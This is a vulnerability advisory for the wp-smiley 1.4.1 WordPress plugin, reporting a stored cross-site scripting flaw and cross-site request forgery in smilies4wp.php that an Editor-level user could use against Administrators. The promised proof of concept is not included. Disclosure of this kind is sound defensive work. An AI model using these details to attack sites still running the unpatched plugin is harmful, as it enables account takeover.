Product: WordPress plugin wp-smiley
Plugin page: https://wordpress.org/plugins/wp-smiley/
Developer: As247 (no contact information available)
Vulnerability Type:
CWE-79: Cross-site scripting
CWE-352: Cross-Site Request Forgery
Vulnerable Versions: 1.4.1
Fixed Version: N/A
Solution Status: N/A
Vendor Notification: 2015-03-24
Public Disclosure: 2015-05-29
Vulnerability details:
WP Smiley plugin for WordPress contains a flaw that allows a stored
cross-site-scripting (XSS) attack. This flaw exists because the smilies4wp.php
script does not validate input properly before returning it to users. This
allows an authenticated remote attacker to create a specially crafted request
that would execute arbitrary script code in a user's browser session within the
trust relationship between their browser and the server.
Editor-level user account can use this cross-site scripting vulnerability
against Administrator-level users.
Root cause:
The software incorrectly sanitizes user-controllable input before it is placed
in output that is used as a web page that is served to users.
Proof-of-concept:
This vulnerability can be demonstrated with following cross-site request forgery
PoC below.
Notes:
Other parameters are also possibly insecure (not tested). Other versions not
tested.
